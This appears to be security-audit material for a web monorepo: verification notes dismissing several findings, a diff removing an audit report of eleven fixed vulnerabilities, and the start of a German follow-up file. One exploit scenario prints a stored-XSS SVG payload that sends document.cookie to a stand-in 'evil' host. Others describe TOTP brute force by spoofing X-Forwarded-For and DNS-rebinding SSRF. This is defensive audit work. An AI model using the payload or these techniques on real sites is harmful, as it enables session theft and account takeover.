- Confirmed the code facts: buildFilter (packages/search/src/query.ts:155,158) concatenates extraFilters verbatim with no escaping. Of the two real callers, rowSearch.server.ts:127 escapes its value (escapeFilterValue) and is safe; kbArticleSearch.server.ts:86 interpolates input.language RAW into `language = "${input.language}" AND isPublished = true`. I then traced input.language to attacker control: KnowledgeBaseService.search (line 547) sets language = params.lang || kb.defaultLanguage, and params.lang comes from the optional ($lang) URL segment in routes/docs/($lang)*.tsx and routes/help/$slug.($lang)*.tsx — fully attacker-controlled. So the raw-interpolation site is genuinely fed by URL input.
However, every reachable path to that sink is closed before runtime injection:
1) Index route (KbRoutes.Index.Api.tsx:24-26) applies an explicit allowlist — if params.lang is present and not in KnowledgeBaseUtils.supportedLanguages (["de","en"], no Meili filter metacharacters) it throws Response 404 BEFORE calling search. Injection blocked outright.
2) Article route (KbRoutes.Article.Api.tsx:35,42) calls getArticle first; getArticle (service line 266-273) does getKbArticleBySlug filtered by the supplied language. A malicious lang string matches no stored article (real languages are "de"/"en"), so item is null and the loader throws redirect at line 42 before search runs.
3) Category route (KbRoutes.Category.Api.tsx:22,30) calls getCategory first; getCategory (service line 411-417) filters getKbCategoryBySlug by language, returns null for a bogus value, loader redirects at line 30 before search runs.
Additionally search only reaches extraFilters when MEILI_URL is set AND tenantId resolves; otherwise it uses the SQL fallback which ignores the filter string.
So there is no open attacker path to the Meilisearch filter sink. The finder explicitly conceded this ("There is no attacker path through this function in isolation; it is a defense-in-depth/API-hardening gap"). The residual is exactly that: a fragile API contract where buildFilter trusts callers to escape, and kbArticleSearch already omitted escaping for language. Only the incidental short-circuit of language-filtered DB lookups (Article/Category) plus the Index route's allowlist prevent exploitation. That is a legitimate Low hardening concern, not an exploitable injection today.
- **Missing global security headers (no CSP, X-Frame-Options, X-Content-Type-Options)** (XSS, Output Encoding & Open Redirect)
- The finder looked only at apps/web/app/entry.server.tsx and concluded security headers are "not applied anywhere global." That premise is factually wrong. The production server is NOT entry.server.tsx — pnpm start runs apps/web/build/server-runtime/server.js, which is the esbuild bundle of /Users/raffaelsheikh/Documents/GitHub/boilerplate/server/server.ts (entry point set in scripts/build-web-server.mjs; start script confirmed in apps/web/package.json: "node ../../build/server-runtime/server.js").
That server wraps EVERY response. server/server.ts:228 calls appendWebSecurityHeaders(res) inside sendWebResponse for all React-Router and API responses, and server/server.ts:301 calls it inside getStaticHeaders for every static asset. appendWebSecurityHeaders (lines 242-251) sets, on every response:
- Content-Security-Policy: base-uri 'self'; object-src 'none'; frame-ancestors 'self'
- X-Content-Type-Options: nosniff
- Referrer-Policy: strict-origin-when-cross-origin
- X-Frame-Options: SAMEORIGIN
- Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
- Cross-Origin-Opener-Policy / Cross-Origin-Resource-Policy: same-origin
- Strict-Transport-Security (when webConfig.routing.protocol === "https", line 253-255)
This is covered by server/server.test.ts (tests at lines 44-67 assert each header and that they apply to forwarded responses AND static assets).
Each of the finder's three concrete exploit claims is therefore refuted by code that actually runs in prod:
- Clickjacking of /app/:tenant: X-Frame-Options: SAMEORIGIN + frame-ancestors 'self' are set globally. FALSE.
- MIME sniffing of user-uploaded content: X-Content-Type-Options: nosniff is set globally including on static assets. FALSE.
- Missing Referrer-Policy: set globally. FALSE.
One nuance, in fairness to the finder: the global CSP is PARTIAL — it has base-uri/object-src/frame-ancestors but NO script-src or default-src. So it provides no script-injection defense-in-depth. But (a) the finder explicitly claimed "no Content-Security-Policy ... applied globally," which is false, and (b) this residual gap only matters if a separate, independently-proven XSS exists; the finder's "any of the XSS vectors above" is not substantiated in this finding and there is no standalone exploit here. A hardened script-src is a reasonable improvement, not the reported "missing global security headers" vulnerability.
Note also a benign interaction: the embed.forms route sets x-frame-options: ALLOWALL (embed.forms.$formKey.tsx:60), but appendWebSecurityHeaders only skips re-setting CSP when present (server.ts:258) and unconditionally setHeader()s X-Frame-Options back to SAMEORIGIN — i.e. it makes the posture MORE restrictive (likely a functional bug for the embed feature), not less. This is the opposite of a security weakness.
- **Marketing outbound adapter SSRF guard omits DNS resolution (literal-hostname only)** (SSRF, Webhooks & Signature Verification)
- The technical defect is real and accurately described: isOutboundUrlAllowed (packages/marketing-outbound/src/types.ts:135-152) validates only the literal URL hostname string against localhost/RFC1918/169.254/metadata suffixes and never resolves DNS, so adapterFetch (line 107) would fetch a tenant-supplied URL whose public-looking hostname resolves/rebinds to an internal/metadata IP. The house-standard hardened helper packages/foundation/src/outbound-http.ts does the correct thing (dns.lookup with all:true plus a resolved-address block at lines 122-136), confirming the adapter diverges from the safe pattern. HOWEVER, there is no attacker-reachable path at runtime. I confirmed @hivegrid/marketing-outbound is imported by exactly one non-test source file (apps/worker/src/jobs/marketing-outbound.ts), and that handler is never imported, bootstrapped, or wired to a queue in apps/worker/src/index.ts (zero 'marketing' references there; no createWorker/Queue/bootstrap). runMarketingOutboundJob is called only from *.test.ts files. The module exports MARKETING_OUTBOUND_ACTIVE_SUBSCRIBER = false and its own docstring states it 'does not claim or bootstrap' a queue and that a future subscriber must add its own bootstrap. Tenant config (custom-webhook config.url, slack/discord config.webhookUrl) is attacker-controllable in principle, but no HTTP route or queue subscriber can ever invoke the adapter today. This is latent/dead code, exactly as the finder honestly disclosed (self-rated Low, 'currently NOT live'). No current exploit path exists, so for present exploitability this is a false positive; the finder did not overclaim.
- **Hardcoded default HMAC secret for legacy API-key hashing falls back silently when env unset** (Secrets, Cryptography & Config Exposure)
- The finding's premise — "if an operator never sets the per-deploy hash secret, the public default is used silently" — does not hold against the actual wiring.
1) There is NO dedicated API_KEY_HASH_SECRET. Every live caller of the hashing functions sources the secret from JWT_SECRET via config loaders:
- apps/api/src/routes/shared.ts:258, apps/api/src/routes/auth-routes.ts:178, apps/api/src/usage/usage-route.ts:29 -> getApiRuntimeConfig()/config.jwtSecret (loadRequiredApiConfig, apps/api/src/config.ts:6).
- apps/web/app/utils/services/apiService.ts:94 -> config.jwtSecret; and apps/web/app/utils/db/apiKeys.db.server.ts:196,251,272 -> getApiKeyHashSecret() = loadRequiredWebConfig().jwtSecret.
2) JWT_SECRET fails closed. In packages/config/src/catalog.ts:127-134 it is classification "required-per-app" with requiredInProduction:true and no defaultValue. getRequiredEnvVariableNames (packages/config/src/index.ts:113 and :118) adds it to the required set in EVERY NODE_ENV (line 113 fires because there is no defaultValue) and again in production (line 118). validateEnv then reports it missing, and loadRequiredWebConfig (packages/config/src/web.ts:32-39) / loadRequiredApiConfig (packages/config/src/api.ts:27-34) THROW WebConfigError/ApiConfigError before any API-key operation runs. So config.jwtSecret can never be empty in a real deployment — the normalizeLegacyApiKeyHashSecret fallback to DEFAULT_LEGACY_API_KEY_HASH_SECRET (api-keys.server.ts:323-324) is unreachable on every authenticated path.
3) The only call site that passes NO secret — getApiKey at apps/web/app/utils/db/apiKeys.db.server.ts:156-161, which would use the default — has ZERO callers anywhere in apps/web, apps/api, or packages (verified by grep). It is dead/legacy code, not an authentication path.
4) The finder itself concedes the default cannot be used to forge or guess keys (the real secret is the random UUID key the attacker must already possess). The residual "cross-deployment hash correlation" risk requires the default to actually be in use, which it never is given the failing-closed JWT_SECRET. The finder's own recommendation (dedicated secret, requiredInProduction=true, fail closed) is already effectively satisfied by JWT_SECRET.
No attacker-controlled input reaches an exploitable sink, and the operational-hygiene premise is invalidated by the production-required, fail-closed config loaders.
- **Row media stored under non-tenant-namespaced key/bucket** (File Uploads, Storage, Path Traversal, Import/Export)
- I read MediaService.ts (lines 5-87), storageService.ts (putBufferAsFile/deleteFile), the storage access guard (packages/storage/src/access/index.ts), the Prisma schema (Entity, RowMedia), and the callers in rows.db.server.ts. The cited code is real: row media is stored at bucket=entity.name, key=media.id+"-"+media.name with no tenants/<tenantId>/ prefix. But there is no open exploit path.
Two premise corrections: (a) Entity.name is @unique globally and Entity has no tenantId — entities are global schema definitions shared by all tenants, so names cannot "collide across tenants"; the bucket is simply a single global namespace per entity. (b) media.id is a server-generated CUID (@default(cuid())), not attacker-controlled and not enumerable.
Why the storage-layer guard would add nothing here: authorizeStorageObjectAccess protects surfaces (import dry-run/submit, worker) where the USER supplies a storage object key (sourceKey) in a follow-up request — the guard stops a user referencing another tenant's key. Row media has no equivalent attacker-supplied key step. The store happens server-side during tenant-scoped row create/update (rows.db.server.ts:443-445, RowsApi.ts:565), and the resulting publicUrl is persisted on RowMedia, which is reachable only through Row reads. Every row read is tenant-scoped: getRow/getRowById/getRows/getRowsInIds all filter by tenantId via getAccessFilters / TenantHelper.tenantCondition. There is no route that serves row media by raw bucket/key (grep for getObject/download in app/routes returned nothing). So the actual access control (tenant-scoped DB reads) is intact, and the guard the finder wants to add guards against an attack vector that does not exist for this path.
The hypothetical 'public bucket / predictable id' leak is also not closed by the proposed fix: the S3 putObject sets no ACL: public-read (objects are private by default), and a misconfigured public bucket would leak objects regardless of any tenants/<id>/ key prefix. So even the recommendation wouldn't mitigate the only scenario the finder gestures at.
The finder explicitly concedes this is "a defense-in-depth/consistency gap rather than a directly demonstrated cross-tenant read." That self-assessment is correct: it is a legitimate low-value consistency/hardening nit, not an exploitable vulnerability with an attacker-reachable path.
- **SVG/icon allowed for media library uploads enabling potential stored XSS if served inline** (File Uploads, Storage, Path Traversal, Import/Export)
- The allow-list claim is accurate: packages/storage/src/scan/allow-list.ts:18 includes "image/svg+xml" for mediaLibrary, and packages/storage/src/scan/magic-bytes-adapter.ts:64-66 promotes a declared SVG with SVG-looking content to a "clean" verdict with NO sanitization (no DOMPurify/strip-scripts). However, stored XSS requires the SVG to be served INLINE as an HTML document on a first-party origin, and that sink does not exist. (1) Every real mediaLibrary-context caller is an authenticated admin/tenant-admin branding surface (portals.$portal/settings.tsx, __widgets/widgets/$id.tsx, admin/settings/general.tsx — all forcing .png/.ico ids), not a generic tenant media library; the actual entity/row "media" path goes through MediaService.ts -> putBufferAsFile which never runs the mediaLibrary allow-list at all. (2) All rendering of uploaded media is via <img src=...>: PreviewMediaModal.tsx:58, InputMedia.tsx:218-220, RowMediaCell.tsx:29 — SVG loaded through an <img> tag is script-inert and embedded <script>/event handlers never execute. There is NO dangerouslySetInnerHTML, <object>, <iframe>, or <embed> rendering of uploaded media anywhere. (3) There is no /storage/* loader and no express.static/sirv mount on the app origin; objects are served via publicUrl built from STORAGE_PUBLIC_BASE_URL (CDN/S3, separate origin) or STORAGE_LOCAL_PUBLIC_BASE_URL in packages/storage/src/index.ts:433-445. The finder explicitly conceded exploitability is "not confirmed end-to-end"; tracing it end-to-end shows the inline-on-first-party sink is absent. Residual risk is purely defense-in-depth and depends on out-of-code storage-origin/CSP configuration, not on any reachable path in this repo.
- **MCP SSE transport sessions are not bound to the authenticating user** (Plugin Runtime, Code Execution, MCP, Formulas & AI Tools)
- The reported endpoint is not HTTP-reachable, and even if it were, it exposes no sensitive operation today. Two independent facts confirm this:
(1) Route is disabled/unregistered. The only definition of the /mcp loader+action is apps/web/app/routes/mcp/index.ts. In apps/web/app/routes.ts, `mcp/**` is listed in `defaultDisabledPluginRouteFilePatterns` (line 43) and that array is spread into `ignoredFilePatterns` at line 49. The folder-route compat loader (apps/web/app/utils/compat/v1-route-convention.ts) skips any matched file: the visitor returns early at lines 79-81, and `matchesIgnoredFilePattern` (lines 33-36) treats `mcp/**` as matching any file whose normalized path === "mcp" or starts with "mcp/", which includes mcp/index.ts. So the route module is never added to the route table — there is no /mcp loader or action mounted at runtime. This is corroborated by apps/web/app/utils/app/PublicRouteSegments.test.ts:35-41, which asserts `isWebRoutePath("/mcp") === false` (explicitly classified as a disabled/plugin-owned, non-routable tree). The chatbot's own attempt to use /mcp as a client (apps/web/app/modules/chatbot/lib/tenant-chat-action.server.ts:54-63) is wrapped in try/catch and degrades to zero MCP tools when the route is absent, further confirming the surface is dormant.
(2) No sensitive sink even if reachable. The only registered MCP tool is `healthcheck` (apps/web/app/modules/mcp/mcp-tools.server.ts:11-32): empty input schema (z.object({})), returns only a static status/version/timestamp, reads no tenant data, performs no state change. registerMcpToolForChatbot/addToolRegistrar are not invoked anywhere in app code (grep found no callers beyond the definition). So even if an attacker reached the action with a guessed sessionId, the worst they could do is drive a JSON-RPC handshake against a stateless healthcheck — no cross-user/cross-tenant data exposure and no privileged action.
The session-binding gap the finder describes is real as written (transports keyed solely by client-supplied sessionId, no userId/tenantId association in apps/web/app/modules/mcp/mcp.server.ts:34-50), but it is latent: the finder themselves conceded it only becomes exploitable "if a tenant-scoped or privileged MCP tool is registered later." With the route ignored and only a no-op tool registered, there is no open exploit path today.
- **Workflow start/trigger/continue-start endpoints accept caller-supplied tenantId with no per-tenant authorization beyond the shared proxy HMAC** (API Input Validation, CSRF, Rate Limiting, Mass Assignment, Info Disclosure)
- I traced the full data flow and the finder's central premise — that these three endpoints are uniquely weaker than their siblings (run/continue/executions) which "derive tenant from an authenticated API key" — is incorrect.
(1) Reachability is gated. All three actions call requireInternalWebApiProxyRequest(request) as the first statement (workflows.executions.$id.start.tsx:31, workflows.trigger.$id.tsx:44, workflows.executions.$id.continue.start.tsx:31). That guard (internalWebApiProxy.server.ts:8-12) returns 404 unless the request carries header x-hivegrid-internal-web-api-proxy:1 AND a valid HMAC-SHA256 signature over `METHOD\n{pathname}{search}` keyed on API_ACCESS_TOKEN, compared with timingSafeEqual. The auth test file confirms forged and direct (unsigned) calls are rejected with 404 before any side effect (workflows.api-auth.test.tsx:559-567). So tenantId is NOT reachable by any party who does not already possess API_ACCESS_TOKEN.
(2) The claimed asymmetry with the siblings does not exist. The siblings call getWorkflowApiKeyFromRequest -> validateApiKey (apiService.ts:306-313, 158-213). The worker is the only real caller and it authenticates with X-Api-Key: API_ACCESS_TOKEN (workflow-trigger-http-executor.ts:66). For that service-token, validateApiKey takes the branch at apiService.ts:198-207, where the tenant is resolved from getServiceTenantScopeFromRequest — which reads the SAME caller-supplied ?tenantId / X-Tenant-Id / X-Account-Id values (apiService.ts:132-141) and performs NO membership check (just findLegacyTenantByIdOrSlug). So the siblings trust caller-supplied tenant scope exactly as much as the three cited endpoints once the shared service token is presented. The per-tenant stored-API-key path (validateTenantApiKey) is a different code path the worker never uses, and it actually rejects requests that carry tenantId/X-Tenant-Id (apiService.ts:209-211). The trust boundary is identically the single shared API_ACCESS_TOKEN in both groups.
(3) The 'X-Tenant-Id header not covered by the HMAC' sub-claim has no independent exploit. The worker always sets ?tenantId= in the URL (workflow-trigger-http-executor.ts:51), which IS part of the signed canonical string (pathname+search). getTenantId prefers the signed query param over the header (`searchParams.get('tenantId') || headers.get('X-Tenant-Id')`). To reach the unsigned-header fallback an attacker must omit the query param and still produce a valid signature, which requires the secret. Tampering the header alone changes nothing because the signed query param wins. The test at workflows.api-auth.test.tsx:582-607 shows the header path is a deliberate, supported fallback, not an oversight.
(4) Containment: these are disabled-by-default plugin routes (routes.ts:42 defaultDisabledPluginRouteFilePatterns 'internal/api/__workflows/**') and additionally listed as disabled admin host-route prefixes (HostRouting.server.ts:260).
Net: the described scenario reduces to 'a party holding the shared internal service secret can act on any tenant', which is the intended design of an internal worker->web service bridge, is identical for the siblings, and is unreachable without that secret. No mitigation gap distinguishes these endpoints, and there is no exploit path for an attacker who does not already hold API_ACCESS_TOKEN.
- **Internal workflow error messages are returned near-verbatim to the proxy caller** (API Input Validation, CSRF, Rate Limiting, Mass Assignment, Info Disclosure)
- The cited sink (redactWorkflowApiErrorMessage in apps/web/app/routes/internal/api/__workflows/workflowApiErrors.server.ts:35-49) does echo raw Error.message after stripping only credential substrings, including for status>=500. But the claimed exploit path to an attacker is closed.
(1) Every consumer route (workflows.run.$id.tsx:9, workflows.trigger.$id.tsx, workflows.stream.$executionId.tsx:11, workflows.executions.$id*.tsx, etc.) calls requireInternalWebApiProxyRequest(request) as its FIRST statement. That guard (apps/web/app/utils/api/internalWebApiProxy.server.ts:8-12) throws Response 404 unless the request carries header x-hivegrid-internal-web-api-proxy:1 AND a valid HMAC-SHA256 signature over METHOD\npath?query keyed with the server secret apiAccessToken/API_ACCESS_TOKEN (timing-safe compared). An external or tenant-scoped attacker cannot forge this. The auth test workflows.api-auth.test.tsx explicitly proves direct calls (lines 526-537) and forged-signature calls (539-567, plus it.each over all 7 routes 559-567) are rejected with 404 before any side effect.
(2) The only legitimate 'proxy caller' is the internal worker (apps/worker/src/jobs/workflow-trigger-http-executor.ts), a server-to-server caller that holds the secret. The error body it receives is consumed in workflow-trigger.ts:263-277 — logged or rethrown into the queue machinery — NOT returned to any external HTTP client. The public API app (apps/api) does not reference workflows at all (grep found zero non-test hits), so the finder's claim that the result is 'surfaced back through the public workflow run/trigger flows' to a tenant is unfounded.
(3) Secondary channel (tenant-readable apiKeyLog.error surfaced in ApiKeyLogsTable.tsx / ApiKeyLogsDetails.tsx) does not apply in the real flow: the worker authenticates with X-Api-Key = service apiAccessToken, which validateApiKey (apiService.ts:198-208) resolves to { tenant } with NO tenantApiKey/apiKeyLog. getWorkflowApiKeyFromRequest therefore returns apiKeyLog: undefined, and setWorkflowApiKeyLogStatus early-returns (apiService.ts:320-322), persisting nothing to a tenant-visible log. A tenant cannot drive a stored-tenant-API-key validation through this bridge because reaching the handler still requires the HMAC signature the worker never lends out.
Net: the verbatim error is disclosed only to the trusted internal worker and server-side logs, not to an attacker. No open exploit path.
@@ -1,156 +0,0 @@
# Security Audit — hivegrid-cloud
Date: 2026-07-04
Method: 10 parallel security finders (multi-agent) + adversarial per-finding verification.
Scope: full monorepo (apps/web, apps/api, apps/worker, apps/mcp, packages/*), with extra scrutiny on the freshly built MCP endpoint.
Result: 15 raw findings -> **11 confirmed** (3 high, 3 medium, 5 low), 4 false positives filtered out, 0 need manual review.
## Remediation status (2026-07-04)
All 11 confirmed findings fixed on branch `akeshan/security-audit-fixes`. Each fix has tests and passed the repo pre-commit gates (test-density, eslint-baseline, secrets, lint-staged) and the relevant app typecheck. Not yet merged/deployed — see the deploy prerequisite below.
- **XSS — icon sanitization** (`b1760f5be`): route KB category (list + top-articles) and onboarding step icons through `sanitizeIconSvg()` instead of a bare `.replace("<svg", …)`; the KB renderers are reachable on the unauthenticated `/docs` page. (#1, #4, #8)
- **MCP rate-limit batching** (`58b1ee990`): parse the body before auth, count JSON-RPC operations, reject batches over `MCP_MAX_BATCH_OPERATIONS` (50), charge one token per operation. (#2)
- **MCP OAuth tenant kill-switch** (`93d142bb8`): reject deactivated tenants on the OAuth access path and the refresh grant, mirroring the API-key branch. (#5)
- **MCP hash-secret fail-closed** (`58b2e338b`, relaxed in `16828fa38`): `loadMcpRuntimeConfig` refuses to boot in production without a resolvable token hash secret. (#7)
- **Login enumeration** (`da1f37862`): passwordless accounts now get the identical generic invalid-credentials response + dummy-hash comparison as an unknown email. (#9)
- **MFA XFF brute-force** (`27b85682e`): authoritative per-user MFA limiter (IP-independent) + trusted-header client IP. (#3)
- **Public-form XFF** (`95293d2f1`): lead-capture and embed-form per-IP limiters key on a trusted header. (#11)
- **MCP pre-auth shield** (`48633aec7`): per-IP fixed-window limiter before the token lookups; trusted-header client IP. (#10)
- **SSRF DNS-rebinding** (`256b228fa`): pin the outbound connection to the DNS-validated IP via an undici dispatcher. (#6)
Follow-ups in the same branch:
- **Trusted-IP sweep** (`9133a63e7`): extend the trusted-client-IP hardening to the remaining leftmost-XFF throttles (API login limiter, API public-api + usage limiters, web auth throttle).
- **Magic-link hint** (`e083a183c`): re-surface the magic-link hint generically on the forgot-password sent state (removed from the login response by #9), without leaking account existence.
### Deploy prerequisite for #7 (done for staging)
After #7 the MCP container **refuses to boot in production** until a token hash secret is set, instead of silently running on the public source-code constant. The guard requires a single resolvable secret — `MCP_OAUTH_TOKEN_HASH_SECRET` (or `API_KEY_HASH_SECRET` as a fallback), relaxed in `16828fa38` so one variable is sufficient.
Because the web app **issues** the OAuth tokens and the MCP app **validates** them with the same `MCP_OAUTH_TOKEN_HASH_SECRET ?? API_KEY_HASH_SECRET`, the secret must hold the **same value on both the web and mcp resources**. Setting it invalidates MCP OAuth tokens issued against the old fallback (clients re-authenticate once).
**Status:** provisioned on staging — `MCP_OAUTH_TOKEN_HASH_SECRET` set to the same `openssl rand -hex 32` value on both `hivegrid-web` and `hivegrid-mcp` (2026-07-04), redeployed. No production Coolify exists yet; when it does, set the same variable there (same value on web + mcp) before deploying this branch.
## Cross-cutting theme
Findings #3, #10, #11 (and the follow-up sweep) share one root cause: trusting the **leftmost `X-Forwarded-For`** value, which is client-controlled behind an appending proxy (Cloudflare/Traefik). New trusted-client-IP helpers read only proxy-set headers (`CF-Connecting-IP` / `True-Client-Ip` / `X-Real-IP`): `getTrustedClientIp` in `apps/web/app/utils/server/IpUtils.ts`, `apps/api/src/trusted-client-ip.ts`, and `getClientIp` in `apps/mcp/src/http.ts`.
---
## 1. [High] Stored XSS via unsanitized KB category icon on the public `/docs` help center
- **Category:** Stored XSS | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
- **Location:** `apps/web/app/modules/knowledgeBase/components/categories/KbCategoriesList.tsx:26` (and `KbCategoriesTopArticles.tsx:23`, finding #4)
- **Data flow:** KB editor sets category `icon` (free-text, `KbCategoryForm`) -> stored verbatim (`KnowledgeBaseService.server.ts`) -> rendered via `dangerouslySetInnerHTML` with `item.icon.replace("<svg", "<svg class=…")` (splices a class, strips nothing) -> unauthenticated `/docs/:lang` route -> executes in every anonymous visitor's browser.
**Exploit scenario**
A KB editor stores `<svg><animate onbegin="fetch('//evil/c?'+document.cookie)"/></svg>`. The `/docs` loader has no auth guard, so any anonymous visitor loading the page executes the payload in the app origin. Fixed by `sanitizeIconSvg()`, which strips script/foreignObject/event-handler vectors — the same sanitizer the sibling renderers already use.
## 2. [High] MCP rate limit bypassed via JSON-RPC batching
- **Category:** Rate-limiting / DoS | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** high
- **Location:** `apps/mcp/src/rate-limit.ts:34`, `apps/mcp/src/transport.ts`, `apps/mcp/src/auth.ts`
- **Data flow:** `checkMcpRateLimit` consumed one token per HTTP request, but the Streamable-HTTP SDK dispatches every element of a JSON-RPC array body -> one authenticated POST carrying N `tools/call` messages ran all N handlers (incl. write tools) for one token.
**Exploit scenario**
An attacker with one valid MCP token sends a single POST with ~11,000 `tools/call` messages (fits in the 1 MB body cap), executing them all — mass writes / DB DoS within the tenant — while spending one of the 1,000/h key and 10,000/h tenant tokens. Fixed by counting operations, rejecting batches over 50, and charging one token per operation.
## 3. [High] MFA/TOTP brute-force via spoofed X-Forwarded-For
- **Category:** Auth / rate-limiting | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** high
- **Location:** `apps/web/app/utils/auth/mfa/challenge-rate-limit.server.ts:39`
- **Data flow:** MFA throttle keyed on `${userId}:${ip}` where `ip` = leftmost (client-controlled) `X-Forwarded-For` -> attacker rotates the header per guess -> a fresh 5/5min bucket every time -> the 429 never fires.
**Exploit scenario**
An attacker holding the victim's password (thus a pending-MFA session) sends TOTP guesses with a random `X-Forwarded-For` per request, defeating the only anti-brute-force control on the 6-digit code — a full 2FA bypass. Fixed with an authoritative per-user limiter (keyed on `userId` alone, 15/15min) plus a trusted-header per-IP component.
## 4. [Medium] Stored XSS via KB icon on public `/docs` (KbCategoriesTopArticles)
- **Category:** Stored XSS | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
- **Location:** `apps/web/app/modules/knowledgeBase/components/categories/KbCategoriesTopArticles.tsx:23`
- **Data flow:** Same defect as #1; injection is gated behind `admin.kb.*` (platform operator), so severity is medium, but the payload still executes for every anonymous `/docs` visitor. Fixed by `sanitizeIconSvg()`.
## 5. [Medium] MCP OAuth path does not reject deactivated tenants
- **Category:** Broken access control | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
- **Location:** `apps/mcp/src/auth.ts:38`, `apps/web/app/services/mcp/oauth.server.ts` (refresh grant)
- **Data flow:** The API-key branch rejects `tenant.deactivatedReason`; the OAuth access branch and the refresh grant never checked tenant status -> a suspended tenant keeps MCP read+write access, and the rotating refresh token extends it indefinitely.
**Exploit scenario**
Operations suspends a tenant for abuse/non-payment; its MCP client keeps reading CRM data and mutating projects/leads via still-valid OAuth tokens. Fixed by checking `deactivatedReason` in both the OAuth access branch and `exchangeRefreshToken`.
## 6. [Medium] SSRF DNS-rebinding TOCTOU in the outbound-HTTP guard
- **Category:** SSRF | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** high
- **Location:** `packages/foundation/src/outbound-http.ts:35`
- **Data flow:** The guard resolves the hostname and checks the addresses against the blocklist, but `fetch(url)` re-resolves DNS independently at connect time -> a low-TTL hostname answers a public IP to the guard and an internal one (10.42.0.4 mesh, 169.254.169.254 metadata) to the connect.
**Exploit scenario**
An authenticated user submits a workflow HTTP block / webhook URL (`WorkflowBlockService.ts`, `apps/worker/src/handlers.ts`) whose hostname rebinds to an internal mesh IP; the auth-less mesh services (Meili, ClamAV, Loki, nsfw) are then reachable server-side. Fixed by pinning the connection to the validated IP via an undici dispatcher `lookup` (TLS SNI stays the hostname), re-pinned per redirect hop.
## 7. [Low] Hardcoded fallback HMAC secrets for MCP OAuth / API keys
- **Category:** Secrets / weak default | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
- **Location:** `apps/mcp/src/config.ts` (guard), `packages/db/src/mcp-oauth.server.ts:6`
- **Data flow:** MCP OAuth token / legacy API-key hashing fall back to public source-code constants when the hash secrets are unset; the MCP runtime config read them as optional and booted silently on the fallback.
**Exploit scenario**
A prod MCP deploy missing the secrets hashes tokens with a source-known key, making stored hashes portable across any default-keyed deployment (defense-in-depth loss; DB-write compromise could then mint valid tokens). Fixed by failing closed in production. See the deploy prerequisite above.
## 8. [Low] Stored XSS via onboarding step icon
- **Category:** Stored XSS | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
- **Location:** `apps/web/app/modules/onboarding/blocks/OnboardingVariantModal.tsx:136`
- **Data flow:** Same missing-sanitization pattern as #1; injection required the former host super-admin onboarding builder (`admin.onboarding.update`) and the payload executed for all tenants' end users. Fixed by `sanitizeIconSvg()` before the admin builder was removed from the default admin surface.
## 9. [Low] Login leaks existence of magic-link-only accounts
- **Category:** Auth / account enumeration | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
- **Location:** `apps/web/app/modules/users/services/AuthService.ts:250`
- **Data flow:** Passwordless (`passwordHash === null`) accounts short-circuited with a distinct body (`requiresMagicLink`) before `verifyPassword` and skipped `recordFailedLogin` -> content + timing side-channel distinguishing invited accounts.
**Exploit scenario**
An attacker POSTs `/login` with a target email; a `requiresMagicLink` response (or a faster reply) marks it as a registered passwordless account. Fixed by falling through to the same dummy-hash comparison and generic invalid-credentials response as an unknown email; the magic-link hint moved to the forgot-password flow (`e083a183c`).
## 10. [Low] MCP endpoint has no pre-authentication rate limit
- **Category:** Rate-limiting / DoS | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
- **Location:** `apps/mcp/src/auth.ts:38`, `apps/mcp/src/rate-limit.ts`
- **Data flow:** The limiter was only reached after a token resolved, so requests with an invalid/absent token were never throttled yet still forced `findActiveMcpOAuthAccessToken` + `findLegacyApiKeyByKey` lookups.
**Exploit scenario**
An unauthenticated attacker floods the MCP root with junk bearer tokens, forcing DB token lookups (partly on the primary DB) with no throttle. Fixed with a per-IP fixed-window shield (300/min, trusted IP) before the token lookups.
## 11. [Low] Public form per-IP rate limit bypassable via spoofed X-Forwarded-For
- **Category:** Rate-limiting / injection | **Verdict:** confirmed | **Fix effort:** low | **Finder confidence:** high
- **Location:** `apps/web/app/routes/api.leads.capture.tsx:80`, `apps/web/app/routes/api.embed.forms.$formKey.submit.tsx:166`
- **Data flow:** The lead-capture and embed-form endpoints key the per-IP limiter on the leftmost `X-Forwarded-For` -> a scripted attacker rotates the header to flood `InboxLead` / form submissions.
**Exploit scenario**
An attacker sets an allowlisted `Origin` and a unique `X-Forwarded-For` per POST, bypassing the per-IP cap to spam the tenant's inbox. Fixed by deriving the IP from a trusted proxy header.
---
## False positives filtered out (4)
- **MCP read tools bypass RBAC** (reported twice): `tenantHasMcpModule` requires `app.settings.roles.set` for every MCP request -> only an RBAC-admin-equivalent user can reach the tools, so no privilege boundary is crossed.
- **Raw internal error messages to the MCP client**: every attacker-controllable failure is pre-guarded into a controlled `McpHttpError`; the residual leak is fault-only (DB outage), not attacker-drivable on demand.
- **URL uploads buffer the remote body with no size cap**: `storageService.ts:96` early-returns http URLs unless a caller passes `replace: true`, and no production caller does -> unreachable dead code.
## Verification (local, green)
`apps/mcp/src/{transport,config,rate-limit}.test.ts` · `apps/web/app/utils/auth/mfa/challenge-rate-limit.server.test.ts` · `AuthService.passwordless.test.ts` · `AuthService.mfaLoginGate.test.ts` · `apps/web/app/utils/server/IpUtils.test.ts` · `apps/web/app/services/auth/auth-rate-limit.server.test.ts` · `apps/api/src/auth/login-rate-limit.test.ts` · `packages/foundation/src/outbound-http.test.ts` · `apps/worker/src/handlers.test.ts`.
Known Windows environmentals (not regressions): the full `apps/web` vitest suite fails on Node 22.15 at `new Request(...URLSearchParams)` (undici) — affects e.g. `registerFromRequest` and the forgot-password **action** tests, not the changed component/limiter/login paths.
@@ -0,0 +1,117 @@
# Security-Audit und offene Nachzüge — 2026-07-22
Diese Datei ist die zentrale Fundstelle für den repo-weiten Security-Audit vom
22. Juli 2026. Der Audit wurde parallel über Anwendungsoberfläche,
Authentifizierung/RLS sowie Infrastruktur/Supply Chain durchgeführt. Die
direkt im Repository behebbaren Befunde wurden auf dem Branch
`fix/security-audit-20260722` umgesetzt und lokal verifiziert.
Die folgenden drei Punkte sind **bewusst offen**. Raffael hat am 22. Juli 2026
entschieden, sie vorübergehend zu verschieben. Das ist eine dokumentierte
